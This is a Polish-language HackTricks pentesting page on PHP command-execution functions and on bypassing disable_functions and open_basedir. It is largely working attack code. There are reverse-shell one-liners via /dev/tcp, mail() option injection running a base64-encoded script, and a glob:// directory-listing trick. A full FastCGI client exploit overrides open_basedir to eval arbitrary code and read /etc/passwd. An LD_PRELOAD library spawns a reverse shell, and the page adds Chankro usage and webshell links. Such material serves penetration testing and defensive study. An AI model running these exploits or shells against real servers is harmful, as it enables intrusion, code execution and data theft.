hacktricks/network-services-pentesting/pentesting-web/php-tricks-esp/php-useful-functions-disable_functions-open_basedir-bypass/README.md

30 KiB

PHP - Przydatne funkcje i bypass disable_functions/open_basedir

{% hint style="success" %} Ucz się i ćwicz Hacking AWS:HackTricks Training AWS Red Team Expert (ARTE)
Ucz się i ćwicz Hacking GCP: HackTricks Training GCP Red Team Expert (GRTE)

Wsparcie dla HackTricks
{% endhint %}

Wykonanie polecenia i kodu PHP

Wykonanie polecenia PHP

Uwaga: A p0wny-shell php webshell może automatycznie sprawdzić i obejść następującą funkcję, jeśli niektóre z nich są wyłączone.

exec - Zwraca ostatnią linię wyjścia poleceń

echo exec("uname  -a");

passthru - Przekazuje wyjście poleceń bezpośrednio do przeglądarki

echo passthru("uname -a");

system - Przekazuje wynik poleceń bezpośrednio do przeglądarki i zwraca ostatnią linię

echo system("uname -a");

shell_exec - Zwraca wynik poleceń

echo shell_exec("uname -a");

`` (backticks) - To samo co shell_exec()

echo `uname -a`

popen - Otwiera rurę do odczytu lub zapisu do procesu polecenia

echo fread(popen("/bin/ls /", "r"), 4096);

proc_open - Podobne do popen(), ale z większą kontrolą

proc_close(proc_open("uname -a",array(),$something));

preg_replace

<?php preg_replace('/.*/e', 'system("whoami");', ''); ?>

pcntl_exec - Wykonuje program (domyślnie w nowoczesnym i nieco starszym PHP musisz załadować moduł pcntl.so, aby użyć tej funkcji)

pcntl_exec("/bin/bash", ["-c", "bash -i >& /dev/tcp/127.0.0.1/4444 0>&1"]);

mail / mb_send_mail - Ta funkcja jest używana do wysyłania maili, ale może być również nadużywana do wstrzykiwania dowolnych poleceń w parametrze $options. Dzieje się tak, ponieważ php mail function zazwyczaj wywołuje binarny plik sendmail w systemie i pozwala na dodanie dodatkowych opcji. Jednak nie będziesz w stanie zobaczyć wyniku wykonanego polecenia, dlatego zaleca się stworzenie skryptu powłoki, który zapisuje wynik do pliku, wykonuje go za pomocą maila i drukuje wynik:

file_put_contents('/www/readflag.sh', base64_decode('IyEvYmluL3NoCi9yZWFkZmxhZyA+IC90bXAvZmxhZy50eHQKCg==')); chmod('/www/readflag.sh', 0777);  mail('', '', '', '', '-H \"exec /www/readflag.sh\"'); echo file_get_contents('/tmp/flag.txt');

dl - Ta funkcja może być używana do dynamicznego ładowania rozszerzenia PHP. Ta funkcja nie zawsze będzie dostępna, więc powinieneś sprawdzić, czy jest dostępna przed próbą jej wykorzystania. Przeczytaj tę stronę, aby dowiedzieć się, jak wykorzystać tę funkcję.

Wykonanie kodu PHP

Oprócz eval istnieją inne sposoby na wykonanie kodu PHP: include/require mogą być używane do zdalnego wykonania kodu w formie Local File Include i Remote File Include.

${<php code>}              // If your input gets reflected in any PHP string, it will be executed.
eval()
assert()                   //  identical to eval()
preg_replace('/.*/e',...)  // e does an eval() on the match
create_function()          // Create a function and use eval()
include()
include_once()
require()
require_once()
$_GET['func_name']($_GET['argument']);

$func = new ReflectionFunction($_GET['func_name']);
$func->invoke();
// or
$func->invokeArgs(array());

// or serialize/unserialize function

disable_functions & open_basedir

Wyłączone funkcje to ustawienie, które można skonfigurować w plikach .ini w PHP, które zabrania używania wskazanych funkcji. Open basedir to ustawienie, które wskazuje PHP folder, do którego ma dostęp.
Ustawienie PHP należy skonfigurować w ścieżce /etc/php7/conf.d lub podobnej.

Obie konfiguracje można zobaczyć w wyniku phpinfo():

open_basedir Bypass

open_basedir skonfiguruje foldery, do których PHP ma dostęp, nie będziesz mógł pisać/odczytywać/wykonywać żadnych plików poza tymi folderami, ale także nawet nie będziesz mógł wylistować innych katalogów.
Jednakże, jeśli w jakiś sposób będziesz w stanie wykonać dowolny kod PHP, możesz spróbować następującego fragmentu kodów, aby spróbować obejść to ograniczenie.

Listing dirs with glob:// bypass

W tym pierwszym przykładzie używany jest protokół glob:// z pewnym obejściem ścieżki:

<?php
$file_list = array();
$it = new DirectoryIterator("glob:///v??/run/*");
foreach($it as $f) {
$file_list[] = $f->__toString();
}
$it = new DirectoryIterator("glob:///v??/run/.*");
foreach($it as $f) {
$file_list[] = $f->__toString();
}
sort($file_list);
foreach($file_list as $f){
echo "{$f}<br/>";
}

Uwaga1: W ścieżce możesz również użyć /e??/*, aby wylistować /etc/* i każdy inny folder.
Uwaga2: Wygląda na to, że część kodu jest zdublowana, ale to jest w rzeczywistości konieczne!
Uwaga3: Ten przykład jest użyteczny tylko do wylistowania folderów, a nie do odczytu plików.

Pełne obejście open_basedir wykorzystujące FastCGI

Jeśli chcesz dowiedzieć się więcej o PHP-FPM i FastCGI, możesz przeczytać pierwszą sekcję tej strony.
Jeśli php-fpm jest skonfigurowany, możesz go wykorzystać do całkowitego obejścia open_basedir:

Zauważ, że pierwszą rzeczą, którą musisz zrobić, jest znalezienie, gdzie znajduje się unix socket php-fpm. Zwykle znajduje się w /var/run, więc możesz użyć poprzedniego kodu, aby wylistować katalog i go znaleźć.
Kod z tutaj.

<?php
/**
* Note : Code is released under the GNU LGPL
*
* Please do not change the header of this file
*
* This library is free software; you can redistribute it and/or modify it under the terms of the GNU
* Lesser General Public License as published by the Free Software Foundation; either version 2 of
* the License, or (at your option) any later version.
*
* This library is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY;
* without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.
*
* See the GNU Lesser General Public License for more details.
*/
/**
* Handles communication with a FastCGI application
*
* @author      Pierrick Charron <pierrick@webstart.fr>
* @version     1.0
*/
class FCGIClient
{
const VERSION_1            = 1;
const BEGIN_REQUEST        = 1;
const ABORT_REQUEST        = 2;
const END_REQUEST          = 3;
const PARAMS               = 4;
const STDIN                = 5;
const STDOUT               = 6;
const STDERR               = 7;
const DATA                 = 8;
const GET_VALUES           = 9;
const GET_VALUES_RESULT    = 10;
const UNKNOWN_TYPE         = 11;
const MAXTYPE              = self::UNKNOWN_TYPE;
const RESPONDER            = 1;
const AUTHORIZER           = 2;
const FILTER               = 3;
const REQUEST_COMPLETE     = 0;
const CANT_MPX_CONN        = 1;
const OVERLOADED           = 2;
const UNKNOWN_ROLE         = 3;
const MAX_CONNS            = 'MAX_CONNS';
const MAX_REQS             = 'MAX_REQS';
const MPXS_CONNS           = 'MPXS_CONNS';
const HEADER_LEN           = 8;
/**
* Socket
* @var Resource
*/
private $_sock = null;
/**
* Host
* @var String
*/
private $_host = null;
/**
* Port
* @var Integer
*/
private $_port = null;
/**
* Keep Alive
* @var Boolean
*/
private $_keepAlive = false;
/**
* Constructor
*
* @param String $host Host of the FastCGI application
* @param Integer $port Port of the FastCGI application
*/
public function __construct($host, $port = 9000) // and default value for port, just for unixdomain socket
{
$this->_host = $host;
$this->_port = $port;
}
/**
* Define whether or not the FastCGI application should keep the connection
* alive at the end of a request
*
* @param Boolean $b true if the connection should stay alive, false otherwise
*/
public function setKeepAlive($b)
{
$this->_keepAlive = (boolean)$b;
if (!$this->_keepAlive && $this->_sock) {
fclose($this->_sock);
}
}
/**
* Get the keep alive status
*
* @return Boolean true if the connection should stay alive, false otherwise
*/
public function getKeepAlive()
{
return $this->_keepAlive;
}
/**
* Create a connection to the FastCGI application
*/
private function connect()
{
if (!$this->_sock) {
//$this->_sock = fsockopen($this->_host, $this->_port, $errno, $errstr, 5);
$this->_sock = stream_socket_client($this->_host, $errno, $errstr, 5);
if (!$this->_sock) {
throw new Exception('Unable to connect to FastCGI application');
}
}
}
/**
* Build a FastCGI packet
*
* @param Integer $type Type of the packet
* @param String $content Content of the packet
* @param Integer $requestId RequestId
*/
private function buildPacket($type, $content, $requestId = 1)
{
$clen = strlen($content);
return chr(self::VERSION_1)         /* version */
. chr($type)                    /* type */
. chr(($requestId >> 8) & 0xFF) /* requestIdB1 */
. chr($requestId & 0xFF)        /* requestIdB0 */
. chr(($clen >> 8 ) & 0xFF)     /* contentLengthB1 */
. chr($clen & 0xFF)             /* contentLengthB0 */
. chr(0)                        /* paddingLength */
. chr(0)                        /* reserved */
. $content;                     /* content */
}
/**
* Build an FastCGI Name value pair
*
* @param String $name Name
* @param String $value Value
* @return String FastCGI Name value pair
*/
private function buildNvpair($name, $value)
{
$nlen = strlen($name);
$vlen = strlen($value);
if ($nlen < 128) {
/* nameLengthB0 */
$nvpair = chr($nlen);
} else {
/* nameLengthB3 & nameLengthB2 & nameLengthB1 & nameLengthB0 */
$nvpair = chr(($nlen >> 24) | 0x80) . chr(($nlen >> 16) & 0xFF) . chr(($nlen >> 8) & 0xFF) . chr($nlen & 0xFF);
}
if ($vlen < 128) {
/* valueLengthB0 */
$nvpair .= chr($vlen);
} else {
/* valueLengthB3 & valueLengthB2 & valueLengthB1 & valueLengthB0 */
$nvpair .= chr(($vlen >> 24) | 0x80) . chr(($vlen >> 16) & 0xFF) . chr(($vlen >> 8) & 0xFF) . chr($vlen & 0xFF);
}
/* nameData & valueData */
return $nvpair . $name . $value;
}
/**
* Read a set of FastCGI Name value pairs
*
* @param String $data Data containing the set of FastCGI NVPair
* @return array of NVPair
*/
private function readNvpair($data, $length = null)
{
$array = array();
if ($length === null) {
$length = strlen($data);
}
$p = 0;
while ($p != $length) {
$nlen = ord($data{$p++});
if ($nlen >= 128) {
$nlen = ($nlen & 0x7F << 24);
$nlen |= (ord($data{$p++}) << 16);
$nlen |= (ord($data{$p++}) << 8);
$nlen |= (ord($data{$p++}));
}
$vlen = ord($data{$p++});
if ($vlen >= 128) {
$vlen = ($nlen & 0x7F << 24);
$vlen |= (ord($data{$p++}) << 16);
$vlen |= (ord($data{$p++}) << 8);
$vlen |= (ord($data{$p++}));
}
$array[substr($data, $p, $nlen)] = substr($data, $p+$nlen, $vlen);
$p += ($nlen + $vlen);
}
return $array;
}
/**
* Decode a FastCGI Packet
*
* @param String $data String containing all the packet
* @return array
*/
private function decodePacketHeader($data)
{
$ret = array();
$ret['version']       = ord($data{0});
$ret['type']          = ord($data{1});
$ret['requestId']     = (ord($data{2}) << 8) + ord($data{3});
$ret['contentLength'] = (ord($data{4}) << 8) + ord($data{5});
$ret['paddingLength'] = ord($data{6});
$ret['reserved']      = ord($data{7});
return $ret;
}
/**
* Read a FastCGI Packet
*
* @return array
*/
private function readPacket()
{
if ($packet = fread($this->_sock, self::HEADER_LEN)) {
$resp = $this->decodePacketHeader($packet);
$resp['content'] = '';
if ($resp['contentLength']) {
$len  = $resp['contentLength'];
while ($len && $buf=fread($this->_sock, $len)) {
$len -= strlen($buf);
$resp['content'] .= $buf;
}
}
if ($resp['paddingLength']) {
$buf=fread($this->_sock, $resp['paddingLength']);
}
return $resp;
} else {
return false;
}
}
/**
* Get Informations on the FastCGI application
*
* @param array $requestedInfo information to retrieve
* @return array
*/
public function getValues(array $requestedInfo)
{
$this->connect();
$request = '';
foreach ($requestedInfo as $info) {
$request .= $this->buildNvpair($info, '');
}
fwrite($this->_sock, $this->buildPacket(self::GET_VALUES, $request, 0));
$resp = $this->readPacket();
if ($resp['type'] == self::GET_VALUES_RESULT) {
return $this->readNvpair($resp['content'], $resp['length']);
} else {
throw new Exception('Unexpected response type, expecting GET_VALUES_RESULT');
}
}
/**
* Execute a request to the FastCGI application
*
* @param array $params Array of parameters
* @param String $stdin Content
* @return String
*/
public function request(array $params, $stdin)
{
$response = '';
$this->connect();
$request = $this->buildPacket(self::BEGIN_REQUEST, chr(0) . chr(self::RESPONDER) . chr((int) $this->_keepAlive) . str_repeat(chr(0), 5));
$paramsRequest = '';
foreach ($params as $key => $value) {
$paramsRequest .= $this->buildNvpair($key, $value);
}
if ($paramsRequest) {
$request .= $this->buildPacket(self::PARAMS, $paramsRequest);
}
$request .= $this->buildPacket(self::PARAMS, '');
if ($stdin) {
$request .= $this->buildPacket(self::STDIN, $stdin);
}
$request .= $this->buildPacket(self::STDIN, '');
fwrite($this->_sock, $request);
do {
$resp = $this->readPacket();
if ($resp['type'] == self::STDOUT || $resp['type'] == self::STDERR) {
$response .= $resp['content'];
}
} while ($resp && $resp['type'] != self::END_REQUEST);
var_dump($resp);
if (!is_array($resp)) {
throw new Exception('Bad request');
}
switch (ord($resp['content']{4})) {
case self::CANT_MPX_CONN:
throw new Exception('This app can\'t multiplex [CANT_MPX_CONN]');
break;
case self::OVERLOADED:
throw new Exception('New request rejected; too busy [OVERLOADED]');
break;
case self::UNKNOWN_ROLE:
throw new Exception('Role value not known [UNKNOWN_ROLE]');
break;
case self::REQUEST_COMPLETE:
return $response;
}
}
}
?>
<?php
// real exploit start here
if (!isset($_REQUEST['cmd'])) {
die("Check your input\n");
}
if (!isset($_REQUEST['filepath'])) {
$filepath = __FILE__;
}else{
$filepath = $_REQUEST['filepath'];
}
$req = '/'.basename($filepath);
$uri = $req .'?'.'command='.$_REQUEST['cmd'];
$client = new FCGIClient("unix:///var/run/php-fpm.sock", -1);
$code = "<?php eval(\$_REQUEST['command']);?>"; // php payload -- Doesnt do anything
$php_value = "allow_url_include = On\nopen_basedir = /\nauto_prepend_file = php://input";
//$php_value = "allow_url_include = On\nopen_basedir = /\nauto_prepend_file = http://127.0.0.1/e.php";
$params = array(
'GATEWAY_INTERFACE' => 'FastCGI/1.0',
'REQUEST_METHOD'    => 'POST',
'SCRIPT_FILENAME'   => $filepath,
'SCRIPT_NAME'       => $req,
'QUERY_STRING'      => 'command='.$_REQUEST['cmd'],
'REQUEST_URI'       => $uri,
'DOCUMENT_URI'      => $req,
#'DOCUMENT_ROOT'     => '/',
'PHP_VALUE'         => $php_value,
'SERVER_SOFTWARE'   => '80sec/wofeiwo',
'REMOTE_ADDR'       => '127.0.0.1',
'REMOTE_PORT'       => '9985',
'SERVER_ADDR'       => '127.0.0.1',
'SERVER_PORT'       => '80',
'SERVER_NAME'       => 'localhost',
'SERVER_PROTOCOL'   => 'HTTP/1.1',
'CONTENT_LENGTH'    => strlen($code)
);
// print_r($_REQUEST);
// print_r($params);
//echo "Call: $uri\n\n";
echo $client->request($params, $code)."\n";
?>

Ten skrypt będzie komunikować się z unix socket php-fpm (zwykle znajduje się w /var/run, jeśli używany jest fpm), aby wykonać dowolny kod. Ustawienia open_basedir zostaną nadpisane przez atrybut PHP_VALUE, który jest wysyłany.
Zauważ, jak eval jest używane do wykonania kodu PHP, który wysyłasz w parametrze cmd.
Zauważ także zakomentowaną linię 324, możesz ją odkomentować, a ładunek automatycznie połączy się z podanym URL i wykona kod PHP zawarty tam.
Po prostu uzyskaj dostęp do http://vulnerable.com:1337/l.php?cmd=echo file_get_contents('/etc/passwd');, aby uzyskać zawartość pliku /etc/passwd.

{% hint style="warning" %} Możesz myśleć, że w ten sam sposób, w jaki nadpisaliśmy konfigurację open_basedir, możemy nadpisać disable_functions. Cóż, spróbuj, ale to nie zadziała, najwyraźniej disable_functions można skonfigurować tylko w pliku konfiguracyjnym .ini php, a zmiany, które wprowadzasz za pomocą PHP_VALUE, nie będą skuteczne w tej konkretnej konfiguracji. {% endhint %}

Bypass disable_functions

Jeśli uda ci się uruchomić kod PHP na maszynie, prawdopodobnie chcesz przejść na wyższy poziom i wykonać dowolne polecenia systemowe. W tej sytuacji zwykle odkrywa się, że większość lub wszystkie funkcje PHP, które pozwalają na wykonywanie poleceń systemowych, zostały wyłączone w disable_functions.
Zobaczmy, jak możesz obejść to ograniczenie (jeśli możesz).

Automatyczne odkrywanie obejścia

Możesz użyć narzędzia https://github.com/teambi0s/dfunc-bypasser, a ono wskaże ci, która funkcja (jeśli w ogóle) może być użyta do obejścia disable_functions.

Obejście za pomocą innych funkcji systemowych

Po prostu wróć na początek tej strony i sprawdź, czy któraś z funkcji wykonujących polecenia nie jest wyłączona i dostępna w środowisku. Jeśli znajdziesz tylko jedną z nich, będziesz mógł jej użyć do wykonania dowolnych poleceń systemowych.

Bypass LD_PRELOAD

Jest powszechnie znane, że niektóre funkcje w PHP, takie jak mail(), będą wykonywać binaria w systemie. Dlatego możesz je nadużyć, używając zmiennej środowiskowej LD_PRELOAD, aby załadować dowolną bibliotekę, która może wykonać cokolwiek.

Funkcje, które można wykorzystać do obejścia disable_functions za pomocą LD_PRELOAD

  • mail
  • mb_send_mail: Skuteczne, gdy zainstalowany jest moduł php-mbstring.
  • imap_mail: Działa, jeśli obecny jest moduł php-imap.
  • libvirt_connect: Wymaga modułu php-libvirt-php.
  • gnupg_init: Możliwe do wykorzystania z zainstalowanym modułem php-gnupg.
  • new imagick(): Ta klasa może być nadużywana do obejścia ograniczeń. Szczegółowe techniki eksploatacji można znaleźć w obszernym opisie tutaj.

Możesz znaleźć tutaj skrypt fuzzingowy, który został użyty do znalezienia tych funkcji.

Oto biblioteka, którą możesz skompilować, aby nadużyć zmiennej środowiskowej LD_PRELOAD:

#include <unistd.h>
#include <sys/types.h>
#include <stdio.h>
#include <stdlib.h>

uid_t getuid(void){
unsetenv("LD_PRELOAD");
system("bash -c \"sh -i >& /dev/tcp/127.0.0.1/1234 0>&1\"");
return 1;
}

Bypass using Chankro

Aby wykorzystać tę błędną konfigurację, możesz Chankro. To narzędzie, które generuje exploit PHP, który musisz przesłać na podatny serwer i wykonać go (uzyskać do niego dostęp przez sieć).
Chankro zapisze na dysku ofiary bibliotekę i powłokę odwrotną, którą chcesz wykonać, i użyje**LD_PRELOAD trick + PHP mail()** funkcji do wykonania powłoki odwrotnej.

Zauważ, że aby użyć Chankro, mail i putenv nie mogą pojawić się na liście disable_functions.
W poniższym przykładzie możesz zobaczyć, jak stworzyć exploit chankro dla arch 64, który wykona whoami i zapisze wynik w /tmp/chankro_shell.out, chankro zapisze bibliotekę i ładunek w /tmp, a ostateczny exploit będzie nazywał się bicho.php (to jest plik, który musisz przesłać na serwer ofiary):

{% tabs %} {% tab title="shell.sh" %}

#!/bin/sh
whoami > /tmp/chankro_shell.out

{% endtab %}

{% tab title="Chankro" %}

python2 chankro.py --arch 64 --input shell.sh --path /tmp --output bicho.php

{% endtab %} {% endtabs %}

Jeśli stwierdzisz, że funkcja mail jest zablokowana przez wyłączone funkcje, nadal możesz użyć funkcji mb_send_mail.
Więcej informacji na temat tej techniki i Chankro tutaj: https://www.tarlogic.com/en/blog/how-to-bypass-disable_functions-and-open_basedir/

"Bypass" przy użyciu możliwości PHP

Zauważ, że używając PHP możesz czytać i pisać pliki, tworzyć katalogi i zmieniać uprawnienia.
Możesz nawet zrzucać bazy danych.
Może używając PHP do enumeracji systemu znajdziesz sposób na eskalację uprawnień/wykonywanie poleceń (na przykład odczytanie prywatnego klucza ssh).

Stworzyłem webshell, który ułatwia wykonywanie tych działań (zauważ, że większość webshelli również oferuje te opcje): https://github.com/carlospolop/phpwebshelllimited

Bypassy zależne od modułów/wersji

Istnieje kilka sposobów na obejście disable_functions, jeśli używany jest jakiś konkretny moduł lub wykorzystana jest konkretna wersja PHP:

Automatyczne narzędzie

Poniższy skrypt próbuje niektóre z metod omówionych tutaj:
https://github.com/l3m0n/Bypass_Disable_functions_Shell/blob/master/shell.php

Inne interesujące funkcje PHP

Lista funkcji, które akceptują wywołania zwrotne

Te funkcje akceptują parametr typu string, który może być użyty do wywołania funkcji według wyboru atakującego. W zależności od funkcji atakujący może, ale nie musi, mieć możliwość przekazania parametru. W takim przypadku można użyć funkcji ujawniającej informacje, takiej jak phpinfo().

Wywołania zwrotne / Wywołania

Następujące listy stąd

// Function => Position of callback arguments
'ob_start' => 0,
'array_diff_uassoc' => -1,
'array_diff_ukey' => -1,
'array_filter' => 1,
'array_intersect_uassoc' => -1,
'array_intersect_ukey' => -1,
'array_map' => 0,
'array_reduce' => 1,
'array_udiff_assoc' => -1,
'array_udiff_uassoc' => array(-1, -2),
'array_udiff' => -1,
'array_uintersect_assoc' => -1,
'array_uintersect_uassoc' => array(-1, -2),
'array_uintersect' => -1,
'array_walk_recursive' => 1,
'array_walk' => 1,
'assert_options' => 1,
'uasort' => 1,
'uksort' => 1,
'usort' => 1,
'preg_replace_callback' => 1,
'spl_autoload_register' => 0,
'iterator_apply' => 1,
'call_user_func' => 0,
'call_user_func_array' => 0,
'register_shutdown_function' => 0,
'register_tick_function' => 0,
'set_error_handler' => 0,
'set_exception_handler' => 0,
'session_set_save_handler' => array(0, 1, 2, 3, 4, 5),
'sqlite_create_aggregate' => array(2, 3),
'sqlite_create_function' => 2,

Ujawnienie informacji

Większość z tych wywołań funkcji nie jest pułapką. Może to być jednak luka, jeśli jakiekolwiek zwrócone dane są widoczne dla atakującego. Jeśli atakujący może zobaczyć phpinfo(), to zdecydowanie jest to luka.

phpinfo
posix_mkfifo
posix_getlogin
posix_ttyname
getenv
get_current_user
proc_get_status
get_cfg_var
disk_free_space
disk_total_space
diskfreespace
getcwd
getlastmo
getmygid
getmyinode
getmypid
getmyuid

Inne

extract    // Opens the door for register_globals attacks (see study in scarlet).
parse_str  // works like extract if only one argument is given.
putenv
ini_set
mail       // has CRLF injection in the 3rd parameter, opens the door for spam.
header     // on old systems CRLF injection could be used for xss or other purposes, now it is still a problem if they do a header("location: ..."); and they do not die();. The script keeps executing after a call to header(), and will still print output normally. This is nasty if you are trying to protect an administrative area.
proc_nice
proc_terminate
proc_close
pfsockopen
fsockopen
apache_child_terminate
posix_kill
posix_mkfifo
posix_setpgid
posix_setsid
posix_setuid

Funkcje systemu plików

Według RATS wszystkie funkcje systemu plików w php są niebezpieczne. Niektóre z nich nie wydają się zbyt przydatne dla atakującego. Inne są bardziej użyteczne, niż mogłoby się wydawać. Na przykład, jeśli allow_url_fopen=On, to adres URL może być użyty jako ścieżka do pliku, więc wywołanie copy($_GET['s'], $_GET['d']); może być użyte do przesłania skryptu PHP wszędzie w systemie. Ponadto, jeśli strona jest podatna na żądanie wysłane przez GET, każda z tych funkcji systemu plików może być wykorzystana do skierowania ataku na inny host przez twój serwer.

Otwórz uchwyt systemu plików

fopen
tmpfile
bzopen
gzopen
SplFileObject->__construct

Zapis do systemu plików (częściowo w połączeniu z odczytem)

chgrp
chmod
chown
copy
file_put_contents
lchgrp
lchown
link
mkdir
move_uploaded_file
rename
rmdir
symlink
tempnam
touch
unlink
imagepng     // 2nd parameter is a path.
imagewbmp    // 2nd parameter is a path.
image2wbmp   // 2nd parameter is a path.
imagejpeg    // 2nd parameter is a path.
imagexbm     // 2nd parameter is a path.
imagegif     // 2nd parameter is a path.
imagegd      // 2nd parameter is a path.
imagegd2     // 2nd parameter is a path.
iptcembed
ftp_get
ftp_nb_get
scandir

Odczyt z systemu plików

file_exists
-- file_get_contents
file
fileatime
filectime
filegroup
fileinode
filemtime
fileowner
fileperms
filesize
filetype
glob
is_dir
is_executable
is_file
is_link
is_readable
is_uploaded_file
is_writable
is_writeable
linkinfo
lstat
parse_ini_file
pathinfo
readfile
readlink
realpath
stat
gzfile
readgzfile
getimagesize
imagecreatefromgif
imagecreatefromjpeg
imagecreatefrompng
imagecreatefromwbmp
imagecreatefromxbm
imagecreatefromxpm
ftp_put
ftp_nb_put
exif_read_data
read_exif_data
exif_thumbnail
exif_imagetype
hash_file
hash_hmac_file
hash_update_file
md5_file
sha1_file
-- highlight_file
-- show_source
php_strip_whitespace
get_meta_tags

{% hint style="success" %} Ucz się i ćwicz Hacking AWS:HackTricks Training AWS Red Team Expert (ARTE)
Ucz się i ćwicz Hacking GCP: HackTricks Training GCP Red Team Expert (GRTE)

Wsparcie HackTricks
{% endhint %}